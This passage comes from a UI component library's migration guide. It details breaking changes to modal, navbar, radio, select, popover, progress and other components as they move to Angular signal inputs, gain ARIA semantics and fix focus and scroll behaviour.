| `.isEmpty` / `.isExternalIndicator` / `.isExternalText` / `.isExternalCaption` / `.spinnerSize` | Now `protected`; what the overlay renders is the contract, not how it decides |
| `.externalIndicator` / `.externalText` / `.externalCaption`                                     | Now `private` signal queries                                                  |

**`transparent` is a `booleanAttribute` input now, and it flips in both directions.** `<kbq-loader-overlay transparent>` used to pass the empty string, which is falsy, so the valueless attribute rendered the _filled_ background — the opposite of how it reads; `[transparent]="0"` and `NaN` read as false the same way. All of them mean `true` now. Conversely `[transparent]="'false'"` was a non-empty string, so it used to mean `true`, and now means `false`. This is the one change here that produces no compile error, so the schematic reports every file that carries the valueless attribute.

`size` and `card` were already signals in 20.2.0 and did not change.

**`transparent` and `card` are deprecated in favour of `surface`** and will be removed in 22.0.0. `surface` wins over both when set: use `surface="bg"` (or `bg-secondary` / `bg-tertiary`, to match what lies underneath) for a transparent overlay, `surface="solid"` for an opaque one, and `surface="card"` instead of `card`. An overlay that binds none of them keeps rendering as `surface="bg"`.

Handled by `loader-overlay-signals`: the `text` and `caption` reads are rewritten, the rest is reported. `v21-upgrade` reports `transparent` and `card`.

##### Markdown

`markdownText` was the component's only input, and its setter did the rendering — which is why the automated signal migration skipped it. The rendered HTML is a `computed` now and the input is a plain `input()`.

| Pattern                           | Manual migration                                               |
| --------------------------------- | -------------------------------------------------------------- |
| `.markdownText`                   | Read as `markdownText()` — rewritten for you                   |
| `.markdownText = …`               | Bind `[markdownText]` in the template — the input is read-only |
| `resultHtml.set(…)` in a subclass | Now a read-only `computed` — feed `markdownText` instead       |

Two behavior fixes follow from the `if (value && …)` guard the old setter had.

**Clearing `markdownText` now clears the output.** The setter only re-rendered for a truthy value, so setting it back to `null` or `''` left the previous HTML on screen indefinitely.

**The projected content is a standing fallback.** A `<kbq-markdown>` that both projects content and binds `[markdownText]` falls back to the projected content whenever the input is empty, not just at first render. The projected text is re-read when it changes, so content that only appears after the first render - behind an `@if`, say - is picked up too.

Handled by `markdown-signals`: the `markdownText` reads are rewritten, the rest is reported.

##### Modal

The dialog emitted exactly one ARIA attribute — the close button's `aria-label`. No `role="dialog"`, no `aria-modal`, no accessible name, and nothing marking the page behind the overlay. A screen reader was never told a dialog had opened, and the virtual cursor walked straight past the overlay into the page underneath while the focus trap held sighted keyboard users inside. There was no workaround either: `ModalOptions` exposed class and style hooks only.

`.kbq-modal-container` carries `role="dialog"`, `aria-modal="true"` and the focus trap now, and it is named by `kbqTitle` — or by the new `kbqAriaLabel` option when there is no title, which is the confirm and header-less case. A `kbqCaption` becomes `aria-describedby`. A manually composed dialog is named and described the same way, by its own `kbq-modal-title` and `kbq-modal-caption`, so the two entry paths are announced alike. While a dialog is shown, every body child that does not contain an overlay is marked `inert`, and so is every dialog below the topmost one, so code that reaches into the page behind an open dialog no longer takes effect.

Initial focus was `getElementsByTagName('button')[0]?.focus()`: the first button in document order, which for a titled dialog is the ×, and nothing at all for a dialog without a button — `modalService.create({ kbqContent: 'text' })` left focus on the trigger behind the overlay, with `cdkTrapFocus` applied but nothing inside to contain. Focus now follows the new `kbqAutoFocus` option, and a dialog with no focusable control focuses itself.

| `kbqAutoFocus`               | Where focus lands                                                    |
| ---------------------------- | -------------------------------------------------------------------- |
| `'first-tabbable'` (default) | The first tabbable control — the × for a dialog with a header        |
| `'dialog'`                   | The dialog element, so a long scrollable body is read from its start |
| `'first-heading'`            | The dialog title                                                     |
| `false`                      | Nowhere; the caller moves focus into the dialog itself               |

`[cdkFocusInitial]` and `autofocus` inside the dialog still win over all of them.

**The close controls of a declarative modal were inert, and they work now.** `handleCloseResult` branched on the runtime type of the trigger: an `EventEmitter` was emitted and the method returned, and only `KbqModalService.create()` ever replaced the emitters with closures. So on a `<kbq-modal [(kbqVisible)]>` the ×, the dim layer and the predefined OK/Cancel buttons emitted and did nothing — the repository's own dev app shipped a modal that could not be dismissed. The cause was the declaration: `kbqOnOk` and `kbqOnCancel` were each `@Input()` and `@Output()` on one property, typed `EventEmitter<T> | OnClickCallback<T>`, so the dialog had to branch on what it found there at runtime — and binding both forms on one dialog silently lost the output, because Angular subscribed to the default emitter in the create pass and the input then replaced the property with the function.

Each flow is two members now, and you bind one of them:

| Before                                     | After                                                       | What it does                                     |
| ------------------------------------------ | ----------------------------------------------------------- | ------------------------------------------------ |
| `kbqOnOk` / `kbqOnCancel` as a function    | `kbqOkClick` / `kbqCancelClick` — `@Input()`                | Decides: returning `false` keeps the dialog open |
| `(kbqOnOk)` / `(kbqOnCancel)` as an output | `(kbqOnOk)` / `(kbqOnCancel)` — unchanged, `@Output()` only | Notifies; the dialog closes either way           |

`(kbqOnOk)` and `(kbqOnCancel)` template bindings are unaffected. What moves is the option and the input: `modalService.create({ kbqOnOk: fn })` becomes `kbqOkClick: fn`, and `[kbqOnOk]="fn"` becomes `[kbqOkClick]="fn"`. `ModalOptions.kbqOnOk` is an `EventEmitter<C>` now and `ModalOptions.kbqOkClick` is the callback, so passing a function under the old key is a compile error rather than a silent change of meaning. Binding both the handler and the event on one dialog is reported in development mode: the handler decides, so the event is never emitted.

`KbqModalService.create()` and `confirm()` also stopped forcing a no-op handler into the options — the dialog emits and closes on its own when no handler is bound.

**`Escape` has one implementation for both entry paths.** It used to be handled twice: the service path filtered on `kbqCloseByESC` and ran through `kbqOnCancel` but ignored a veto, while the declarative path closed unconditionally, ignoring `kbqCloseByESC` entirely and skipping `kbqOnCancel`. Escape is the Cancel button now — it honours `kbqCloseByESC`, and a `kbqCancelClick` returning `false` stops it — except an Escape a control inside the dialog already handled, such as a datepicker closing its calendar. The keyboard table's third row, "Submit the form by pressing Enter in any text input", described behaviour that was never implemented and is gone from the guide.

**A service-created dialog is destroyed with its opener.** `ModalBuilderForService` disposed its overlay from exactly one place — the `kbqAfterClose` subscription — and nothing tied it to the caller. Destroying the component that opened it, through a route change or an `*ngIf`, left the dialog painted over the next view, `afterClose` never emitted, and `document.body { overflow: hidden }` was never released, so the page could no longer be scrolled at all. The dialog's lifetime is bound to `options.injector` now, or to the root environment injector when none is passed, and the overlay is created with `disposeOnNavigation: true`. The body scroll lock is released from `ngOnDestroy` as well, and `KbqModalControlService` releases a modal that was created and destroyed without ever being shown — it used to hold that modal, its view and its subscriptions forever.

The `kbqAfterOpen`/`kbqAfterClose` options are mirrored onto the dialog instead of replacing its own emitters, so `afterOpen`/`afterClose` on the returned ref keep emitting alongside them, and the overlay teardown no longer hangs off an emitter the caller can complete. A declarative modal also stopped emitting `kbqBeforeClose`/`kbqAfterClose` once on creation, before it had ever been shown.

| Member                                                                                                                                                                                            | Before | After       |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------ | ----------- |
| `transformOrigin`, `getKbqFooter()`, `getContainerClasses()`, `autoFocusedButtons`                                                                                                                | public | removed     |
| `ModalUtil`, `modalUtilObject`, `IClickPosition`                                                                                                                                                  | public | removed     |
| `handleCloseResult`, `getButtonCallableProp`, `isModalType`, `isTemplateRef`, `isNonEmptyString`, `isComponent`, `isModalButtons`, `onClickMask`, `onClickOkCancel`, `onButtonClick`, `onKeyDown` | public | `protected` |
| `maskAnimationClassMap`, `modalAnimationClassMap`                                                                                                                                                 | public | `protected` |
| `ModalOptions.data`                                                                                                                                                                               | `any`  | `unknown`   |

`transformOrigin` was computed from the last document click position — set to `{x: -1, y: -1}` and returned unconditionally, so a keyboard-opened dialog got an origin of `-1` — and applied against keyframes that end at `transform: scale(1)`, against which `transform-origin` is a no-op. Nothing it produced was ever visible, and the document-wide click listener feeding it was registered at module load and never removed.

**The dialog is a flex column now.** `.kbq-modal-body` capped itself at `calc(100vh - 260px)`, a pixel budget standing in for the top offset, the header, the footer and the bottom gutter — none of which are fixed. When the real chrome exceeded it, the dialog overflowed the viewport and `.kbq-modal-wrap` became the scroller, taking the header and the footer off screen; when it was smaller, the body stopped short of the space available. The dialog is capped at `calc(100vh - 2 * var(--kbq-modal-size-viewport-inset))` instead and the body takes what the chrome leaves, so only the body scrolls at any content size. A host that overrode the old `max-height` on `.kbq-modal-body` can drop that override. One that used `kbqBodyStyle: { maxHeight: 'none' }` to let the dialog outgrow the viewport has to move the override onto the dialog element — `kbqStyle: { maxHeight: 'none' }` — because the cap lives there now; lifting it on the body only makes the body scroll.

Two dead style hooks went with it: `.kbq-modal-open` — the class was applied nowhere, the scroll lock is an inline style — and the `--kbq-modal-size-close-button-margin-left` token, which had no readers because the close button is positioned absolutely. `.kbq-modal_no-footer` reflects the real footer now, composed footers included, so the bottom padding it was always meant to apply to a dialog without a footer finally does.

Two smaller fixes with nothing to migrate: `_modal-animation.scss` honours `prefers-reduced-motion: reduce`, and `afterOpen`/`afterClose` are driven by `animationend` with the 300 ms timer only as a fallback, so they fire as soon as the animation is over and immediately when motion is reduced. And the confirm dialog's body has the custom scrollbar and the overflow shadows every other variant already had.

**Every input is a signal now.** Both things that blocked it are gone: `kbqOnOk`/`kbqOnCancel` are split into an input and an output (above), and `ModalBuilderForService` no longer applies the options with `Object.assign(this.modalRef.instance, inputs)` — a bulk assignment would overwrite an `InputSignal` rather than write through it. The options reach the dialog through the new `KBQ_MODAL_OPTIONS` token instead, as the _initial values_ of its inputs: a service-created dialog has no template bindings, so an input it does not bind keeps that initial value for life.

Template bindings are unaffected — `[kbqTitle]`, `[kbqSize]`, `[kbqMaskClosable]`, `[(kbqVisible)]` and the rest are unchanged, and `kbqVisibleChange` is now generated by the `model()` under the same name and type. What breaks is programmatic access:

| Before                                       | After                                                     |
| -------------------------------------------- | --------------------------------------------------------- |
| `modal.kbqVisible`                           | `modal.kbqVisible()`                                      |
| `modal.kbqVisible = true`                    | `modal.kbqVisible.set(true)`, or `open()` / `close()`     |
| `modal.kbqTitle`, `modal.kbqSize`, …         | `modal.kbqTitle()`, `modal.kbqSize()`, …                  |
| `modal.kbqTitle = 'x'` and every other input | Bind the attribute — a signal input cannot be assigned to |

`kbqVisible` is a `model()`; every other input is read-only. Three of them keep a writable shadow inside the dialog, because something other than the binding drives them: `kbqOkLoading`/`kbqCancelLoading` while a handler's returned promise is pending, and `kbqMask` while another dialog covers this one. Those shadows are private — the input keeps reporting what was bound, which is also why re-binding it still takes effect.

Two smaller consequences. `kbqFooter` is no longer overwritten with its own formatted copy on init, so it reports exactly what was bound; the defaults are filled in on the way to the template. And `KbqModalComponent` no longer declares `implements ModalOptions`: that interface is the service's contract, and the component's inputs are signals, so the two no longer match structurally.

The four template type guards went with it — `isTemplateRef`, `isNonEmptyString`, `isComponent` and `isModalButtons` are gone, replaced by one classification per slot. They were `protected` and `@docs-private` already, so only a subclass could notice. `animateMaskTo` stays, and `setMaskEnabled` joins it, because `KbqModalControlService` still orchestrates the dim layer of covered dialogs from outside; that orchestration belongs in the dialog and has not moved yet.

Reported by `modal-dialog-semantics` and `modal-signals`.

##### Navbar

The navbar finished its move to signals, and `KbqNavbarItem` and `KbqNavbarBrand` own a `KbqTooltipTrigger` instead of extending one. Template bindings keep working — `[expanded]`, `[collapsable]`, `[collapsedText]`, `[kbqPlacement]` and `[kbqTrigger]` are unchanged — except the tooltip content of an item or a brand.

**`[kbqTooltip]` on `kbq-navbar-item` and `kbq-navbar-brand` is `[tooltipText]` now.** `kbqTooltip` is the tooltip directive's selector, so wherever `KbqToolTipModule` was imported next to the navbar, the host matched that directive a second time: `NG0309` in development, two tooltips in production. On other elements `kbqTooltip` is unchanged.

| Pattern                                                                                   | Manual migration                                                                                                                              |
| ----------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------- |
| `kbqTooltip` on an item or a brand                                                        | `tooltipText`, in every binding form — rewritten for you                                                                                      |
| `navbar.expanded` / `configuration` / `openOver` / `tabIndex`                             | Read as calls, write `expanded` and `tabIndex` with `.set(…)` — rewritten for you                                                             |
| `item.isCollapsed` / `collapsable` / `collapsedText`, `brand.collapsed` / `collapsedText` | Read as calls — rewritten for you                                                                                                             |
| `horizontal` / `vertical` of `KbqNavbarRectangleElement`                                  | `isHorizontal()` / `isVertical()`, and `orientation = 'horizontal'` for a write — rewritten for you                                           |
| `item.disabled` / `brand.disabled`                                                        | Removed: they suppressed the tooltip. Read `item.navbarFocusableItem.disabled`, and control the tooltip with `[kbqTooltipDisabled]`           |
| `item.content` / `show()` / `hide()` / `visibleChange`                                    | Go through the owned trigger: `item.tooltip.content`, `item.tooltip.show()`                                                                   |
| `item.updateDropdown()`                                                                   | Private now: the item refreshes its dropdown itself. Delete the call                                                                          |
| `logo.hovered` / `title.hovered`                                                          | Removed: bind the pointer enter and leave events on the element                                                                               |
| `navbar.animationDone`                                                                    | Removed: it has not emitted since the toggle animation was removed, so a subscription never ran. Bind `(expandedChange)` to react to a toggle |
| `KbqNavbarContainerPositionType`                                                          | Removed: it had no consumer. Delete the import                                                                                                |
| `kbq-navbar-item[disabled]` in a stylesheet                                               | A disabled item renders `aria-disabled="true"` and `.kbq-disabled`, never the `disabled` attribute                                            |

**An item or brand without a title no longer suppresses its tooltip.** `[tooltipText]` on an icon-only item shows without `[kbqTooltipDisabled]="false"`.

**Screen readers announce the navbar.** The horizontal and the vertical navbar are both `role="navigation"` landmarks with an `aria-label` input. An item written as `<kbq-navbar-item>` rather than `<a>` or `<button>`, and not wrapping a button or a form field, is `role="button"` and answers to Enter and Space; `<kbq-navbar-divider>` is `role="separator"`. A collapsed item or brand publishes its title as `aria-label`, so give an icon-only item without a title an `aria-label` of its own — a tooltip never named it.

**`Ctrl+/` toggles one vertical navbar** — the one holding focus, or else the first on the page — instead of all of them at once.

**The navbar left the CDK overlay layer.** It reads `--kbq-navbar-z-index`, `--kbq-navbar-toggle-z-index` and `--kbq-navbar-vertical-open-over-z-index` (990, 991 and 989), so overlays render above it. The hard-coded sizes became tokens too: `--kbq-navbar-vertical-size-expanded-width`, `--kbq-navbar-item-vertical-size-height`, `--kbq-navbar-toggle-size-circle` and `--kbq-navbar-brand-vertical-size-title-max-width`. `!important` is gone from the collapsed brand title and the item icon color, so an override that relied on losing to it may start applying.

Additive: an icon marked with `kbqNavbarItemSuffix` is shown after the title. Without the attribute every icon of an item is rendered before the title, wherever it is written. Two fixes come for free: a vertical navbar item with a clipped title shows its tooltip, and a horizontal navbar collapses its items before its content overflows.

**Tabbing out of the navbar leaves `tabIndex` alone.** `kbq-navbar` and `kbq-vertical-navbar` take themselves out of the tab order in the DOM only, so `(tabIndexChange)` is not emitted and a bound `[tabIndex]` is kept instead of being reset to `0`. A navbar with no item stays out of the tab order without writing `tabIndex` either: `(tabIndexChange)` no longer fires when items appear or disappear, and a bound `[tabIndex]` applies as soon as there is an item.

Handled by `navbar-signals-and-aria`: the `kbqTooltip` binding, the signal reads and writes and the orientation booleans are rewritten, the rest is reported.

##### Notification center

**The date adapter has to reach the root injector.** `KbqNotificationCenterModule` used to list `KbqNotificationCenterService` in its own `providers`, so the service was built in whichever injector imported the module and picked up a `DateAdapter` provided there. The module no longer provides it — the `providedIn: 'root'` instance is the only one — so an adapter provided on a feature module or on a component no longer reaches it, and the first injection throws `NG0201 No provider found for DateAdapter`. Provide it at bootstrap:

```ts
bootstrapApplication(App, {
    providers: [importProvidersFrom(KbqLuxonDateModule, KbqFormattersModule)]
});
```

| Pattern                                                                      | Manual migration                                                                                                                                                                                             |
| ---------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `KBQ_NOTIFICATION_CENTER_SCROLL_STRATEGY_FACTORY_PROVIDER`                   | Gone from the entry point, so the import fails with `TS2305`. `KBQ_NOTIFICATION_CENTER_SCROLL_STRATEGY` and `kbqNotificationCenterScrollStrategyFactory` are still exported — write the provider out by hand |
| `onReload.emit()` / `onNextPage.emit()` / `onDelete.emit(…)`                 | The three streams are `Subject`s now, so `.emit()` is gone — call `.next()`                                                                                                                                  |
| `trigger.backdropClass` / `panelClass` / `offset` / `scrolledToBottomOffset` | Signal inputs: a read is a call, and a write has to become a template binding — an `input()` has no `.set()`                                                                                                 |
| `service.changes.subscribe((state) => …)`                                    | `changes` is an `Observable<void>` — a ping. The value handed to a subscriber is always `undefined`                                                                                                          |

`KbqReadStateDirective`, which the notification item hosts, renamed its dwell handlers after what they measure rather than after the events that called them: `mouseenterHandler()` → `startDwell()` and `mouseleaveHandler()` → `endDwell()`. Both new names take an optional channel argument that defaults to the pointer, so a renamed call keeps meaning exactly what it did. `timestamp` is a read-only getter now and reports `number | undefined` — the start of the earliest dwell still in progress, and `undefined` while the host is idle.

The directive measures a keyboard dwell as well now, and the two channels are tracked independently: the dwell ends only once both have left the host. A host that keeps focus for longer than `timeToRead` is marked read without a pointer ever touching it, and a pointer leaving no longer ends a dwell that focus is still holding open.

Reported by `notification-center-signals`. The handler rename is applied for you by `read-state-dwell-handlers`.

##### Popover

Hover mode was broken end to end by a dead expression. `this.leaveDelay ?? 500` looks like a default, but the base class sets the field to `0`, and `0 ?? 500` is `0` — so the panel closed before the pointer could cross the 8px gap to it, the documented interactive content was unreachable even for pointer users, and the auto-hide watchdog spun as an `interval(0)` for as long as the panel stayed open.

The delay is derived from the trigger now, and `kbqLeaveDelay` is a write-only input that records having been bound. Bound in the template, the bound value stands; not bound, the `trigger` setter re-derives the delay on every change, so a popover switched to `hover` later gets the hover default instead of the `0` it was born with.

A bound `undefined` or `null`, or a value that is not a number, counts as unbound: the hover default applies again, where it used to become `NaN` and close the panel at once. `kbqEnterDelay` and `kbqPopoverOffset` fall back the same way, to `0` and `8`.

A programmatic `trigger.leaveDelay = 500` records nothing, so the next write to `trigger` overwrites it. That is the one change here with no compile error behind it.

| Pattern           | Manual migration                                                                      |
| ----------------- | ------------------------------------------------------------------------------------- |
| `.leaveDelay = …` | Bind `[kbqLeaveDelay]`, or drop it and take the hover default — it is long enough now |
| `.onConfirm = …`  | `onConfirm` is readonly; subscribe instead of replacing it                            |
| `placementChange` | Emits `string` instead of `any`; only a payload assigned to a non-string breaks       |

The confirm popover no longer hardcodes its Russian defaults: «Вы уверены, что хотите продолжить?» and «Да» come from the locale now, so a non-RU application renders translated text where it used to render Russian.

Two fixes with nothing to migrate: the trigger subscribed to the global `ScrollDispatcher` with no teardown in the _default_ configuration, and that subscription is bounded now — a host that worked around the leak by destroying triggers eagerly can stop. And `KbqPopoverTrigger` can be imported standalone, because the scroll-strategy provider is no longer NgModule-only.

Reported by `popover-leave-delay`.

##### Progress bar

The headline is silent. Under `prefers-reduced-motion: reduce` an indeterminate bar rendered as a full, finished determinate one: the fill was sized only inside the keyframes, so killing the animation left it at `width: auto` over a track it completely covered. The width is a static declaration now, the animation moves and stretches it with `transform` alone, and the reduced-motion fallback is an opacity pulse that still reads as "running". The determinate `width` transition is suppressed under the same preference, where it used to be kept.

`[color]` used to mean nothing. The theme mixin was scoped to `.kbq-theme`, the only selector in the repository that gave the track or the fill a color, so every other value rendered both surfaces transparent while the label and caption still painted — the bar looked alive with its indicator gone. The supported set is `theme` (the default), `contrast`, `contrast-fade` and `error`, and an unsupported or falsy value falls back to the default palette instead of to nothing. **Bars that were already bound to `'error'` or `'contrast'` become visible.**

The bar carries progress semantics for the first time: `role="progressbar"` on the host, with `aria-valuenow` (the clamped `value`), `aria-valuemin="0"` and `aria-valuemax="100"` in determinate mode and all three omitted in indeterminate mode, which is how an unknown duration is expressed. `aria-label` is an input now, aliased to the attribute; `[kbq-progress-bar-text]` and `[kbq-progress-bar-caption]` render an `id` and are wired to the bar through `aria-labelledby` and `aria-describedby`. A bound `aria-label` wins over the projected text.

| Pattern                                               | Manual migration                                                           |
| ----------------------------------------------------- | -------------------------------------------------------------------------- |
| `.percentage`                                         | Protected now; clamp at the call site or read `aria-valuenow` off the host |
| `role` / `aria-value*` / `aria-labelledby` on the bar | Drop it — the component renders its own                                    |
| `[attr.aria-label]` on the bar                        | Bind `[aria-label]`: the host writes that attribute itself                 |

Two more with nothing to migrate. The a11y locale gained a `progressBar` key, used as the accessible name of a bar carrying neither an `aria-label` nor a projected text — override it through `kbqA11yLocaleConfigurationProvider` like any other. And the inner track no longer repeats the host `id`, so one bar renders exactly one element answering to it and an `aria-describedby` or `<label for>` aimed at the bar is no longer ambiguous.

Reported by `progress-bar-percentage-and-aria`.

##### Progress spinner

`size` was the last accessor input on the spinner, and the reason the automated signal migration skipped it: its setter stored the size and computed the SVG circle radius in one go. The radius is a `computed` now and `size` is a plain `input()`. `id`, `value` and `mode` became signal inputs back in 20.0.0 and no migration has covered them until now, so this one rewrites their reads as well. A read left un-called is silent rather than loud: `spinner.value > 50` is always false and `{{ spinner.value }}` prints the function source.

| Pattern                              | Manual migration                                                        |
| ------------------------------------ | ----------------------------------------------------------------------- |
| `.size` / `.id` / `.value` / `.mode` | Read as calls — rewritten for you                                       |
| `.size = …` and the other three      | Bind them in the template — the inputs are read-only                    |
| `.percentage` / `.dashOffsetPercent` | Now `protected`; derive what you need from the `value` you already bind |
| `.svgCircleRadius`                   | Now `protected`; it is the SVG geometry, not a contract                 |

**`size` no longer accepts an arbitrary string.** It is typed `ProgressSpinnerSize` (`'compact' | 'big'`), resolving a TODO that predates the review. Any other value used to fall through to the compact radius silently; it is a template type error now.

**`value` is a `numberAttribute` input with a `0` fallback.** `value="40"` used to pass the string `"40"`, which the percentage arithmetic coerced by accident; it is a number now. Anything that is not a number reads as `0` rather than reaching the `stroke-dashoffset` percentage as `NaN`, which is not a length at all.

Handled by `progress-spinner-signals`: the reads are rewritten, the rest is reported.

##### Radio

`name` is the load-bearing contract in the radio, and it did not hold in either direction. The CDK's `UniqueSelectionDispatcher` is application-global and fans every notification out to every listener; the `name` comparison inside each listener is the only isolation there is. A `<kbq-radio-button>` written without a group never assigned one, so `undefined === undefined` made every group-less radio in the running application a single selection group — checking one un-checked the others, in unrelated routes, overlays and dialogs. A button now falls back to an id unique to itself, and **two group-less radios that used to un-check each other are independent**. Markup that relied on the old behaviour has to say so: put the buttons in a group, or give them the same explicit `[name]`.

In the other direction, `ngOnInit` overwrote a bound `[name]` with the group's, unconditionally, so the documented input did nothing. It is honoured now, and a button bound to its own name inside a group forms its own selection group.

| Member                                                    | Before                    | After                            |
| --------------------------------------------------------- | ------------------------- | -------------------------------- |
| `KbqRadioButton.isFocused`                                | published input, unread   | removed                          |
| `KbqRadioButton.radioGroup`                               | `KbqRadioGroup`           | `KbqRadioGroup \| null`          |
| `KbqRadioButton.name`                                     | `undefined` without group | group name, else a unique id     |
| `KbqRadioButton.focus()`                                  | bare `element.focus()`    | `focus(origin?: FocusOrigin)`    |
| `KbqRadioGroup.focus()`                                   | —                         | forwards to the checked option   |
| `KbqRadioGroup.color`                                     | —                         | colors every button in the group |
| `--kbq-radio-size-big-top`, `--kbq-radio-size-normal-top` | declared, unreferenced    | removed                          |

`isFocused` had no host binding, no template reference and no consumer — binding it never had an effect. Focus state is carried by the `FocusMonitor` classes on the host; read those, or call `focus(origin)`. `radioGroup` was always injected with `{ optional: true }` behind a non-null assertion, so a group-less button already returned `null` through a non-nullable type.

The accessibility work has nothing to migrate, but it changes what a screen reader announces. `<kbq-radio-group>` is a `radiogroup`, which takes no name from its content — name it with a plain `aria-label` / `aria-labelledby` attribute on the element, the way the shipped examples now do; a detached label sibling leaves the group unnamed. A `kbq-hint` projected into a button is exposed through `aria-describedby` instead of being folded into the button's accessible name, so an option is announced by its own text rather than by its text plus its caption. `[required]` reaches the group as `aria-required`, and an error color as `aria-invalid`.

`[color]` on the group is one binding for every button in it, so the error palette no longer has to be repeated per option. And the native input carries its option value, so a group inside a plain `<form>` submits that value instead of the literal `"on"` — only string-like values round-trip, and a group meant for native submission still needs an explicit `[name]`, because the generated one changes between application loads.

**The one-way inputs are signals now.** A read of one is a call. The rewrite is scoped by receiver type, which matters more here than anywhere else in the campaign: `name`, `labelPosition` and `required` exist on both classes, and only the group's became signals.

| Type             | Members                             | Read               |
| ---------------- | ----------------------------------- | ------------------ |
| `KbqRadioGroup`  | `name`, `labelPosition`, `required` | `group.required()` |
| `KbqRadioButton` | `id`, `inputId`                     | `button.id()`      |

So `group.required` becomes `group.required()` while `button.required` is left alone — the button's copy folds in the group's value, which is why it stayed an accessor. `id` is read-only now: bind `[id]` rather than assigning to it, and bind `null` or an empty string to keep the generated one.

`KbqRadioGroup.value`, `.selected` and `.disabled` are deliberately unchanged. `ControlValueAccessor` writes the first and last, the buttons write `selected`, and `writeValue` has to resolve the checked button synchronously before the first render — none of which a read-only `input()` supports, and a `model()` carries no `transform`, which `disabled` needs to coerce an attribute.

**`KbqRadioGroup` is a component now.** A `kbq-error` put inside the group is rendered under the buttons only while the group is in the error state, lined up with the option text, and a `kbq-hint` put directly inside the group is moved under the buttons too, after the error; the group references both from its `aria-describedby`. A component cannot be applied through `hostDirectives`, and a subclass decorated with `@Directive` fails at runtime with NG0903: render a `<kbq-radio-group>` element instead, or decorate the subclass with `@Component` and repeat `<ng-content />` and the `kbq-error` slot in its template.

Reported by `radio-signals-and-aria`.

##### Search expandable

The upgrade to Angular 20 already renames the `kbq-filter-search` element to `kbq-search-expandable`. That rewrite only ever touched the tag, so the inputs of the removed `KbqFilterBarSearch` survived as attributes the new component does not have — silently, because an unknown attribute on a component is not an error. `v20-upgrade` renames them too now:

| Before             | After                       |
| ------------------ | --------------------------- |
| `emitValueByEnter` | `isEmitValueByEnterEnabled` |
| `onSearchTimeout`  | `emitValueTimeout`          |
| `tooltip`          | `tooltipText`               |

**The debounce default changed with the name.** `onSearchTimeout` defaulted to `0`, `emitValueTimeout` defaults to `200`. Markup that never set it now emits 200ms later than it used to — add `[emitValueTimeout]="0"` to keep the old timing.

| Pattern                             | Manual migration                                                                  |
| ----------------------------------- | --------------------------------------------------------------------------------- |
| `[initialValue]`                    | Seed the bound `[formControl]` / `[(ngModel)]` — the component has no value input |
| `(onSearch)`                        | Read the query from the bound control instead                                     |
| `kbq-filter-search` as an attribute | `kbq-search-expandable` is element-only — replace the host element by hand        |

One behavior change with no attribute to match on: `Enter` now calls `preventDefault()`. Angular only does that for a handler returning literal `false`, so until now an `Enter` inside a native `<form>` submitted the form on top of the value the component had just emitted. A host that relied on that submit needs to trigger it itself.

Handled by `v20-upgrade`: the selector and the three input names are rewritten for you, the rest is reported.

##### Select

The trigger-label surface moved to signal inputs and the overlay plumbing was closed. Every input kept its alias, so `[hiddenItemsText]` and `[hiddenItemsTextFormatter]` bind exactly as before — only programmatic access changed.

| Member                     | Before                             | After                              |
| -------------------------- | ---------------------------------- | ---------------------------------- |
| `hiddenItemsText`          | accessor pair                      | `InputSignal<string \| undefined>` |
| `hiddenItemsTextFormatter` | overridable method                 | input holding the function         |
| `overlayDir`               | public                             | `protected`                        |
| `triggerRect`              | public                             | `protected`                        |
| `onRemoveMatcherItem`      | `$event: any`                      | `$event: Event`                    |
| `selectEvents`             | exported from `core/select/events` | removed together with the module   |

| Pattern                        | Manual migration                                                             |
| ------------------------------ | ---------------------------------------------------------------------------- |
| `.hiddenItemsText = …`         | Bind `[hiddenItemsText]` — an `input()` has no `.set()`                      |
| `.hiddenItemsText`             | Read it as `hiddenItemsText()`; it reports `string \| undefined`             |
| `.hiddenItemsTextFormatter`    | `hiddenItemsTextFormatter()(template, count)`; an override becomes a binding |
| `.overlayDir` / `.triggerRect` | Protected; use the open/close API and the panel inputs                       |
| `selectEvents`                 | Delete the import — it was one constant whose value equalled its own name    |

**Multiple mode orders the selection by the panel now.** `sortValues()` has always been documented as sorting "based on their order in the panel", but its default comparator was `a.value - b.value`, which never produced that order: on string values the subtraction is `NaN`, which a sort treats as "equal", so the selection simply kept the order the values arrived in; on numeric values it sorted by the number itself, matching the panel only when the options happen to be declared in ascending order. The default is now the option's real index in the panel. A value whose option is not rendered — a `KbqVirtualOption` under virtual scroll, or `showPreselectedValues` — has no place in that order and sorts after every value that has one.

The order shows up in three places: the array emitted to the form, the tags in the trigger, and which option is highlighted when the panel opens. A host that re-sorted the emitted value into panel order itself can drop that. To keep a different order, bind `[sortComparator]` — `(a, b) => a.value - b.value` reproduces the old behaviour for numeric values, and `() => 0` reproduces it for every other type, since a comparator that reports everything equal leaves the arrival order alone.

Two more fixes with nothing to migrate: the locale subscription created in the constructor had no teardown, and a root-provided singleton held every created-then-destroyed select for the lifetime of the app; and the select carries combobox/listbox/option ARIA now, with a keyboard-operable tag-remove control, so hand-rolled `role` or `aria-*` attributes on the host are duplicates.

The rest of the select inputs followed. `hasBackdrop`, `compareWith` and `searchMinOptionsThreshold` are signals: read them as calls — `compareWith()(a, b)`; `searchMinOptionsThreshold()` still reports the resolved number. `multiple`, `tabIndex` and `selectAllHandler` are signal inputs read through a getter. None of the six can be assigned any more: bind them in the template. Changing `[multiple]` after the first render still throws.

`KbqTimezoneSelect` extends `KbqSelect`, so everything above applies to it as well, and a file that names only the timezone select is reported too.

Reported by `select-signal-inputs`.

##### Sidepanel

**A sidepanel without a backdrop no longer freezes the page.** `createOverlay()` hardcoded CDK's `BlockScrollStrategy` for every panel, and that strategy pins the document with `position: fixed` — the exact opposite of what the non-modal mode is named after. The strategy follows the modality now: `block()` with a backdrop, `reposition()` without. `KbqSidepanelConfig` gained `scrollStrategy?: () => ScrollStrategy` for the panels that want something else, and the blocked page survives closing the lower panel of a stack, which used to release it while the panels above stayed open.

**Focus is captured and restored in both modes.** `trapFocusAutoCapture` defaulted to `!!hasBackdrop`, so a non-modal sidepanel neither took focus nor gave it back — `CdkTrapFocus` only restores focus it captured itself, and the guide promised restoration unconditionally. It defaults to `true` now. The focus _trap_ still follows `hasBackdrop`: a non-modal panel leaves the page behind it tabbable, and `trapFocus: true` opts in.

| Pattern                                                      | Manual migration                                                           |
| ------------------------------------------------------------ | -------------------------------------------------------------------------- |
| `{ hasBackdrop: false }` needing the block                   | `scrollStrategy: () => overlay.scrollStrategies.block()`                   |
